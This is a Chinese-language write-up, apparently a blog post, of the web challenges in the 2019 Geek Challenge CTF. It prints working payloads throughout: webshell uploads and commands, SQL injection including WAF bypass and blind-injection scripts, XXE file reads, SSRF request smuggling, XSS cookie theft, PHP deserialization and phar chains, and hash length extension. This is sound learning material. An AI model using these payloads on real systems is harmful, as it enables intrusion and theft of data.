2019_极客大挑战WEB题目复盘


致谢

感谢三叶草的各位师傅,提供高质量赛题,在这里借助三叶草的官方WriteUp,复盘一下WEB方面的题目,题目顺序需要是按照放题目的顺序来排的。

0x01 打比赛前先撸一只猫!

image.png-26.4kB

页面上没什么提示,查看一下源码

image.png-18.7kB

         <!--
        $cat=$_GET['cat'];
        echo $cat;
        if($cat=='dog'){
            echo 'Syc{cat_cat_cat_cat}';
        }
        -->

发现存在php注释,审计一下,让我们传入一个参数为cat,值为dog的数,即可输出真的flag

?cat=dog

image.png-50.7kB

0x02 你看见过我的菜刀么

image.png-33kB

题目意图很明显,就是一个标准的一句话木马,直接用菜刀或者蚁剑使用密码Syc连接即可,我们 也可以直接使用该一句话木马,查看flag

image.png-26.8kB

Syc=system("ls -al /");

image.png-116.5kB

发现根目录下存在flag目录,再列出flag目录下的文件

image.png-15.9kB

读取一下flag.txt即可

Syc=system("cat /flag/flag.txt");

BurpSuiiiiiit!!!

http://geek.sycsec.com:44444/static/file/Burp.zip

题目给了一个burp的插件,直接打开burp导入插件即可获得flag

image.png-45kB

导入插件,查看errors page

image.png-76.7kB

0x04 性感潇文清,在线算卦

image.png-51.7kB

查看源码,发现注释

image.png-81.4kB

<!--$savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";
    if (!is_dir($savepath)) {
        $oldmask = umask(0);
        mkdir($savepath);
        umask($oldmask);
    }
    if ((@$_GET['u']) && (@$_GET['p'])) {
        $content = '***************';
        file_put_contents("$savepath" . sha1($_GET['u']), $content);
        $msg = 'Ding!你的算卦结果就在这儿啦! ' . $savepath . htmlspecialchars(sha1($_GET['u'])) . "";
        echo $msg;
        usleep(100000);
        @$content = "you are too slow";
        file_put_contents("$savepath" . sha1($_GET['u']), $content);
    }

试试条件竞争吧?
--!>

题目提示是条件竞争,根据源码可以看到,题目将算卦的结果传输到指定文件夹,再usleep(100000)后,删除文件,想要成功访问,大抵思路就是不停的写入相同内容,不断覆盖,达到条件竞争的效果

这里有两种方法,

1.使用burp中的intruder插件,不断访问,达到条件竞争的效果

image.png-78.7kB

抓一下包,进行爆破,达到不断传输的目的

image.png-105.3kB

再次访问文件夹,成功获得flag

image.png-19.8kB

2.使用python脚本,不断访问

这里贴一下官方脚本,本人用的是burp

# -*- coding: UTF-8 -*-
import re,requests,threading
url = 'http://148.70.59.198:42534/'
s = requests.Session()
def GetFile():
while 1:
params = {'u':'a','p':'a'}
r = s.get(url=url,params=params)
file = re.findall(r"Ding!你 的 算 卦 结 果 就 在 这 儿 啦 ! 快 来 看 ! (.*) <!DO",
r.text, re.S)[0]
print(file)
def GetFlag():
params = {'u':'a','p':'a'}
r = s.get(url=url,params=params)
while 1:
file = re.findall(r"Ding!你 的 算 卦 结 果 就 在 这 儿 啦 ! 快 来 看 ! (.*) <!DO",
r.text, re.S)[0]
rurl = url+file
res = s.get(url=rurl)
print(res.text)
t1 = threading.Thread(target=GetFile, args=())
t2 = threading.Thread(target=GetFlag, args=())
t1.start()
t2.start()
t1.join()
t2.join()
Eval evil cod

0x05 Easysql

简单的sql注入,直接万能密码进去即可获得flag

image.png-355.2kB

image.png-450.4kB

官方payload:

 admin/admin'||'1

0x06 RCE me

image.png-87.9kB

这个题目在原来记录php7函数特性的时候记录过,感兴趣的可以看一下

PHP7 函数特性分析

0x07 服务端检测系统

查看源码,获取注释;

<!-- /admin.php -->

<!--
    if(isset($_POST['method']) && isset($_POST['url']) ){
        $method=$_POST['method'];
        $url=$_POST['url'];

        if(preg_match('/^http:\/\//i',$url)){
            $opts = array(
                'http'=>array(
                    'method'=>$method,
                    'timeout'=>3
                )
            );

            $context = stream_context_create($opts);
            $body = @file_get_contents($url."/anything", false, $context);

            if(isset($http_response_header)){
                preg_match("/Allow:(.*?);/i",implode(';',$http_response_header).";",$matches);
                if(isset($matches[1])){
                    echo "服务端支持的请求方法有:".$matches[1];
                }else{
                    echo "failed<br>";
                    echo sprintf("body length of $method%d", $body);
                }

            }else{
                echo "error";
            }
        }else{
            echo 'not allowed';
        }

    }
-->

发现存在admin.php,访问发现:

image.png-15.8kB

我们可以通过SSRF的方式进行访问,分析源码发现,我们可以控制的参数有method和url,尝试一下

image.png-37.9kB

提示我们服务端支持的请求方法,Burp抓包分析一下,尝试访问一下admin.php

image.png-38.8kB

回显输出的没有内容只有长度,这里我们跟进一下输出内容

image.png-24.8kB

发现输出的内容为服务器响应的长度,想要达到SSRF的目的我们需要绕过输出响应长度,使服务器端输出响应的内容,这里主要看输出的“%d”,%d输出的是整数类型,而我们需要的是输出字符串等内容,需要用到“%s”,只要我们将%d转义,再输入%s,即可成功输出$body中的内容了

我们发现method是可控的,最主要的就是,如何构造method如何绕过,尝试直接输入method=%s%,

image.png-52.1kB

成功包含admin.php的内容,发现获取flag需要我们POST输入:

iwantflag=yes

这里我们就需要再次回到代码进行分析,这里的http请求是使用stream_context_create()函数来实现的,该函数可以通过构造等方式,输出一个完整的POST或者GET传参

参考文章:

https://www.jb51.net/article/81871.htm

image.png-28.6kB

根据代码分析,我们可以看到函数中可控的参数仍然是method参数

尝试构造

url=http://127.0.0.1/&method=POST /admin.php HTTP/1.1
Host: x
Content-Type: application/x-www-form-urlencoded
Content-Length: 50

iwantflag=yes%26b=%s%

我们通过method参数,传入一个完整的POST请求,在经过stream_context_create()函数后,我们传输的数据为

POST /admin.php HTTP/1.1
Host: x
Content-Type: application/x-www-form-urlencoded
Content-Length: 50

iwantflag=yes&b=%s% //anything HTTP/1.0

发现没有传输成功,看出题人分析是由于&这里需要进行url编码,因为我们是在当前的数据包中二次发送HTTP协议,如果不编码的话容易被当前的HTTP数据包当做分隔符而不是传输的数据,最终的payload

url=http://127.0.0.1/&method=POST /admin.php HTTP/1.1
Host: x
Content-Type: application/x-www-form-urlencoded
Content-Length: 50

iwantflag=yes%26b=%s%

添加参数b的原因是因为,在传输的过程中我们会拼接原来正常HTTP的请求包中的内容,如果直接传输不加参数,可能会导致传输的yes后面拼接别的内容,导致传输的变量值发生变化,因为我们获取的内容仍然是字符串,所以需要传输“%s%”

尝试访问一下

image.png-114.2kB

成功获取到flag

分析一下payload,因为我们传输的是一个完整的HTTP的请求包,在url中我们不需要再填写具体的路径,请求包已经标明传输的页面为admin.php,所以只要传输我们构造的HTTP请求包即可获取到flag

0x08 Lovelysql

访问页面

image.png-542.9kB

提示我们flag在数据库中,尝试万能密码登陆

image.png-487.9kB

发现登陆成功并且输出数据库中内容,尝试手工注入

image.png-165.9kB

使用联合查询语句查询数据库

admin'union+select+1,2,group_concat(schema_name)+from+information_schema.schemata#

发现没有任何过滤,直接用hackbar自带的语句梭一把,查询数据表

username=admin&password=admin'%20union%20select%201%2C2%2Cgroup_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%3Ddatabase()%20%23

image.png-121.2kB

查询数据表中的列:

username=admin&password=admin%27%20union%20select%201%2C2%2Cgroup_concat(column_name)%20from%20information_schema.columns%20where%20table_schema%3Ddatabase()%20%23

image.png-161.7kB

查询数据

username=admin&password=admin'%20union%20select%201%2C2%2Cgroup_concat(password)%20from%20l0ve1ysq1%23

image.png-58.3kB

成功获取到flag

0x09 性感黄阿姨,在线聊天

一道很有意思的题目,登陆页面

image.png-94.1kB

提示我们当前用户为guest,抓包看一下

image.png-25.7kB

发现是json格式传参,尝试改一下用户为admin,传输的数据为flag看一下

image.png-49.5kB

提示我们当name中的值md5和flag的md5相等时给出下一个提示,我们当然不知道md5的值,不过因为为是“==”我们可以通过弱类型比较的方式进行绕过

例如:

image.png-41.5kB

当我们输入的数字和flag前几位匹配时会返回结果为true,尝试爆破一下

根据返回头的不同发现爆破成功

image.png-48.7kB

提示我们flag在/f14g_Is_Here.php里面,还提示让我们读文件,读文件无非就是xxe了,尝试构造一下

因为需要xxe,需要修改一下文件类型

image.png-14.4kB

构造一下payload

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE xxe[
<!ENTITY test SYSTEM "php://filter/read=convert.base64-
encode/resource=./_f14g_Is_Here_.php">
]>
<root>
<name>&test;</name>
<request>flag</request>
</root>

image.png-56.7kB

解码base64即可获取flag

0x10 Babysql

前两个sql的waf版本,主要就是把关键函数给替换为空了

例如:

username=admin&password=admin123'union select 1,2,group_concat(schema_name) from
information_schema.schemata#

from union select 这些关键函数都被替换为空,我们可以通过双写的形式进行绕过

uniunionon%20selselectect%201%2C2%2Cgroup_concat(schema_name)%20frfromom%20infoorrmation_schema.schemata%20%23

image.png-118.8kB

成功查询数据库,尝试查询数据表

uniunionon%20selselectect%201%2C2%2Cgroup_concat(table_name)%20frfromom%20infoorrmation_schema.tables%20whwhereere%20table_schema%3Ddatabase()%23

image.png-88.4kB

查询列名

uniunionon%20selselectect%201%2C2%2Cgroup_concat(column_name)%20frfromom%20infoorrmation_schema.columns%20whwhereere%20table_schema%3Ddatabase()%20anandd%20table_name%3D'b4bsql'%23

image.png-74.8kB

查询字段名

uniunionon%20selselectect%201%2C2%2Cgroup_concat(passwoorrd)%20frfromom%20b4bsql%23

image.png-111.9kB

成功获取到flag

0x11 神秘的三叶草

查看页面,简单的介绍了一下三叶草,查看一下源码

image.png-88.5kB

发现有一个secret.php访问一下

image.png-327kB

提示我们需要来自该网址,直接改header头信息即可,burp抓包修改一下

来源页伪造我们可以通过使用referer头来修改

image.png-59.2kB

修改成功,提示我们需要使用”Syclover”浏览器,这里直接修改UA头即可

image.png-81kB

下一步要求我们本地访问,我们可以使用XFF头进行伪造

image.png-75.2kB

成功伪造,获取到flag

0x12 Eval evil code

这个题目,再前一段写文章的时候总结过了

php无参数执行命令

0x13 Jiang‘s Secret

访问页面,查看源码

image.png-56.1kB

给了一个跳转页面

image.png-24.3kB

点击一下

image.png-15.3kB

发现存在跳转,抓包再看一下

image.png-45kB

在响应头中给出了一个页面,访问一下

image.png-69.5kB

给出了题目的源码

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

也提示我们flag在flag.php里面,同时发现正则把一些常用的参数给过滤掉了,不过没有过滤file,我们可以使用php的file伪协议去读取文件

?file=php://filter/convert.base64-encode/resource=flag.php

image.png-68.5kB

获取到加密的flag.php,base64解码即可获取flag

image.png-86.5kB

0x14 Hardsql

image.png-239.6kB

发现union被直接过滤掉了,不能使用双写绕过等方式,不过我们可以使用报错注入进行注入

可以使用extractvalue和updatexml进行报错注入

https://www.cnblogs.com/richardlee97/p/10617115.html

贴一下最后的payload

username=admin&password=admin'^updatexml(1,concat(0x7e,
(select(group_concat(password))from(H4rDsq1)),0x7e),1)#

image.png-150.6kB

0x15 你有特洛伊么

image.png-11.1kB

题目狠清晰让我们上传木马getshell,先测试一下

image.png-54.2kB

发现网站对文件内容进行了查看,并且过滤了php头

我们可以通过js的方式进行绕过

image1.png-80.1kB

发现提示我们需要图片,尝试文件头绕过

image2.png-46.8kB

成功上传,测试发现网站是黑名单,没有过滤phtml,直接上传pdsdt.phtml

image (1).png-75kB

------WebKitFormBoundary6fNlOYv1U4tq5iG2
Content-Disposition: form-data; name="file"; filename="pdsdt.phtml"
Content-Type: image/jpeg

GIF89a
<script language="php">
eval($_POST['pdsdt'])
</script>
------WebKitFormBoundary6fNlOYv1U4tq5iG2
Content-Disposition: form-data; name="submit"

在upload目录下找到上传的文件,尝试执行一下phpinfo()

image.png-113.4kB

成功执行,蚁剑连接,找到flag即可

image.png-50.9kB

0x16 Leixiao’s blog

image.png-68.1kB

注册一个账号登陆一下,原本以为是逻辑漏洞,测了一下发现是xss

image.png-13.9kB

在文章页面成功插入,不过测试的时候发现,文章只能自己看,后台访问不到,尝试在别的地方进行xss,测试一下注册和登陆,在注册处抓包发现密保问题也是前端可控的

image.png-44.8kB

尝试修改一下密保问题

image.png-72.6kB

在重置密码处看一下

image.png-42.2kB

发现成功修改密保问题,尝试能不能在密保问题处构造xss

看一下控制台,我们可以通过这种方式构造xss

image.png-64.9kB

"><script>alert(/xss/)</script>

注册一下

image.png-58.6kB

image.png-13.3kB

成功构造,下一步就很简单了,xss平台开启项目,将存在问题的页面报给管理员,等待cookie,即可获得flag

image.png-45.1kB

发现长度最多为32位,再次构造一下

image.png-45.6kB

在Report处提交问题页面,在xss平台等待收割即可

0x17 反序列化1.0

查看源码

class Student
{
    public $score = 0;
    public function __destruct()
    {
        echo "__destruct working";
        if($this->score==10000) {
            $flag = "******************";
            echo $flag;
        }
    }
}
$exp = $_GET['exp'];
echo "<br>";
unserialize($exp);
?>

提示只要传输的序列化参数中score=10000即可输出flag,本地构造一下

image.png-64.8kB

O:7:"Student":1:{s:5:"score";i:10000;}

GET传入即可获取flag

image.png-34.7kB

0x18 又来一只猫

image.png-128.2kB

页面提示存在备份文件,测试一下几个常用的,发现存在www.zip
下载下来,对源码进行审计

关键代码:

index.php

    <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();


        }
    }
}
?>

简单的看一下仍然是反序列化,我们需要绕过__wakeup魔法函数去执行__destruct()函数,绕过wakeup的方法就不再多说,修改反序列化中的值存在错误即可

参考文章:

https://www.cnblogs.com/Mrsm1th/p/6835592.html

构造一下payload

分析代码,我们在调用__destruct()函数后,想要成功获取flag还要两个条件

username=admin
password=100

注意一下题目中的username和password的值都是private,所以需要使用new Name去构造数值

image.png-60.5kB

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

我们可以看到string虽然是14但是显示的字符为12,尝试一下url编码输出

O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

发现存在%00占位,这样我们的序列化字符串就构造完毕,因为要绕过__wakeup函数,所以修改一下字符即可

O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

image.png-119.5kB

0x19 你有初恋吗

image.png-106.3kB

看一下源码

<!--
$adore='***************';
$now = $_POST['lover'];
setcookie("Heart", md5($adore.'syclover'));
if(isset($now)&&$now!=syclover) {
    if($_COOKIE['Heart'] === md5($adore. urldecode($now))){
        die ($flag);
        }else {
            die('I do not love you! You are not in my heart!');
            }
    }
-->

分析一下源码,我们的cookie是使用密文和syclover进行md5加密出来的,获得flag的条件是cookie中的值与密文+我们传入的参数md5值相等,不过因为禁止传输syclover,我们需要进行绕过或者碰撞,这里有两种方法进行绕过

第一种方法:

因为网站会对输入的参数进行urldecode,我们可以尝试进行url编码绕过,测试二次url编码

image.png-83.3kB

%25%37%33%25%37%39%25%36%33%25%36%63%25%36%66%25%37%36%25%36%35%25%37%32

成功获取到flag,分析一下原理,抓包发现,我们二次编码传输的内容,已经被中间件解码一次,再次传入后台,输入的数据不等于syclover,但在urldecode之后等于syclover,这样等式就相等,成功输出flag

image.png-35.9kB

我们可以使用hashpump进行碰撞

hashpump下载

git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev
cd HashPump
make
cp hashpump /usr/bin
make install

下载之后输入密文和部分明文进行碰撞即可

# hashpump
Input Signature: 6a1ce5f4dc83320710006a786ac82c17
Input Data: syclover
Input Key Length: 15
Input Data to Add: pdsdt
befe62a127f073fec5141becd52b8ee4
syclover\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00pdsdt

具体参考文章:

https://www.cnblogs.com/pcat/p/5478509.html

题目给出*的个数为十五个,可知密位位数为 15。最后将接触的payload中\x替换成%即可

POST /53a5734d6c99f89a/ HTTP/1.1
Host: cxc.design
Content-Length: 145
Cache-Control: max-age=0
Origin: http://cxc.design
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://cxc.design/53a5734d6c99f89a
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Heart=8593a4ff9adffa5564901a2acb96b9e8
Connection: close

lover=syclover%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b8%00%00%00%00%00%00%00syclover

image.png-107.1kB

0x20 Finalsql

打开发现与前面几道题目都不一样了,多了几个跳转页面

image.png-559.2kB

测试一下

image.png-217.4kB

image.png-215.9kB

发现我们输入^符号成功跳转页面,证明存在注入,看到页面提示,应该是让我们盲注了,构造一下语句

1^(ord(substr((select(group_concat(schema_name))from(information_schema.schema
ta)),%d,1))=%d)^1"%(i,ord(j)) 获取数据库名称

1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)
where(table_schema)='geek'),%d,1))=%d)^1"%(i,ord(j)) 获取数据库表名

1^(ord(substr((select(group_concat(column_name))from(information_schema.column
s)where(table_name='F1naI1y')),%d,1))=%d)^1"%(i,ord(j))
获取数据库列名

最后获取flag的payload:

import requests
url = "http://118.25.14.40:8104/search.php"
for i in range(1,20):
    for j in range(1,128):
        d ="?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),'"+str(i)+"',1))='"+str(j)+"')^1"
        r = requests.get(url+d)
        if 'Click' in r.text:
            print(chr(j))

0x21 你读懂潇文清的网站了吗

题目给了提示是XXE,先抓包看一下内容

image.png-53.4kB

可以看到网站可以接受xml的信息,结合xxe,构造一下payload

<?xml version = "1.0"?>
<!DOCTYPE note [<!ENTITY pdsdt SYSTEM "php://filter/read=convert.base64-encode/resource=./index.php"> ]>
<name>&pdsdt;</name>

image.png-169.3kB

成功获取到index.php的源码

<?php
error_reporting(0);
include("./config.php");
date_default_timezone_set("PRC");

if(!empty($_POST['submit'])){
$data= $_POST['data'];
if (preg_match("/flag|decode|file|zlib|input|data|http|ftp|#/i",$data)){
    echo "no!!!you cant read flag right here!";
    exit();
}

$xml = simplexml_load_string($data,'SimpleXMLElement',LIBXML_NOENT);

print($xml);
}

?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

    <title>Login</title>
    <link href="./style_log.css" rel="stylesheet" type="text/css">
    <link rel="stylesheet" type="text/css" href="./style.css">
    <link rel="stylesheet" type="text/css" href="./userpanel.css">

</head>

<body class="login" mycollectionplug="bind">
<div class="login_m">
    <div class="login_logo"><img src="http://120.79.186.183/jpg/677406.jpg" width="216" height="130"></div>
    <div class="login_boder">
            <div class="login_padding" id="login_model">
                    <div style="text-align:center; vertical-align:middel;">
                        <h3>告诉我你想说的</h3>
                    </div>
<form action="./index.php" method="post" enctype="multipart/form-data" type="code" name="code" id="code" class="txt_input" onfocus="if (value =='******'){value =''}" onblur="if (value ==''){value='******'}">
<div style="text-align:center; vertical-align:middel;">
<textarea type="text" id='divcss5' name="data">
</textarea>

</div>
<br>
<div style="text-align:center; vertical-align:middel;">
    <input type="submit" class="sub_buttons" name="submit" id="Retrievenow" value="submit"
style="opacity: 0.7;">
</div>
</form>

<br> <br>
<br> <br>
<br> <br>
<br> <br>
<br> <br>
<br> <br>
<p align="center"> Syclover - Ayrian</p>


</body>
</html>


发现存在config.php尝试读取一下

<?php
class File{
    public  $filetype;
    public  $filename;
    public function __wakeup(){
        echo "wake up ";
        var_dump(readfile("php://filter/read=convert.base64-encode/resource=flag.php"));
    }

    public function check($filetype,$filename){
        $filename = $filename;
        $filetype = $filetype;

        if (($filetype!="image/jpg")&&(substr($filename, strrpos($filename, '.')+1))!= 'jpg') {
            echo "只允许上传jpg格式文件";
            exit();
        }

    }

    public function upload($filetemp){
            $target_file = getcwd()."/uploads/".md5($filetemp+$_SERVER['HTTP_REFERER']).".jpg";
        $handle = fopen($filetemp, "r");
    $content = '';
    while(!feof($handle)){
        $content .= fread($handle, 8080);
    }
if (preg_match("/xml|#|SYSTEM|DOCTYPE|fliter|uploads|www/i",$content)){
    echo "Invalid file!!!!";
exit();
}
    fclose($handle);

            if (move_uploaded_file($filetemp, $target_file)) {
                echo "your file is here:".$target_file;
                }
            }

}

简单分析一下config.php,根据源码我们可以看到存在uploads目录,尝试访问一下是否存在upload.php

image.png-56.2kB

利用xxe读一下源码

<!DOCTYPE html>
<html>
<head>
    <title>Ayrain</title>
</head>
<body>
<h3>上传一个文件,让我康康你这是什么乱七八糟的东西。</h3>
<form action="./upload.php" method="post" enctype="multipart/form-data" type="code" name="code" id="code" class="txt_input" onfocus="if (value =='******'){value =''}" onblur="if (value ==''){value='******'}">
    <input type="file" name="file" />
    <input type="submit" name="Check" />
</form>

</body>
</html>
<?php
error_reporting(0);
include("config.php");

        $filename = $_FILES["file"]["name"];
        $filetype = $_FILES["file"]["type"];
        $filetemp = $_FILES["file"]["tmp_name"];

        $file = new File();
        $file->check($filetype,$filename);
        $file->upload($filetemp);
?>

能看到upload.php的过滤比较严格,只能上传jpg,不过可以看到在config.php有输出flag.php的方法

image.png-26kB

需要我们调用__wakeup()函数,再结合上传和xxe漏洞,大致的攻击链形成:

1.本地使用phar生成调用__wakeup()函数的文件
2.使用upload.php页面上传文件
3.使用index.php存在的XXE漏洞去触发phar,从而输出flag.php

在本地生成phar文件:

需要我们调用

class File{
     public function __wakeup(){
        echo "wake up ";
    }
}

按照phar的标准格式生成文件

image.png-59.8kB

<?php

class File{
        public function __wakeup()
    {
        echo "wake up ";
    }
}
$phar = new Phar('phar2.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new File();
$phar -> setMetadata($object);
$phar -> stopBuffering();
?>

将生成的文件修改后缀上传

image.png-81.8kB

成功上传文件,尝试读取一下

image.png-113.3kB

成功读取到我们上传的文件,使用XXE结合phar协议进行触发

<?xml version = "1.0"?>
<!DOCTYPE note [<!ENTITY pdsdt SYSTEM "phar://./uploads/cfcd208495d565ef66e7dff9f98764da.jpg"> ]>
<name>&pdsdt;</name>

image.png-123.3kB

成功获取到加密的flag.php文件,解密即可获取flag

两篇代码审计的题目会单独拿一篇文章来讲,总的来说,题目质量很好,学习到了很多,感谢三叶草的师傅们


发表评论

电子邮件地址不会被公开。 必填项已用*标注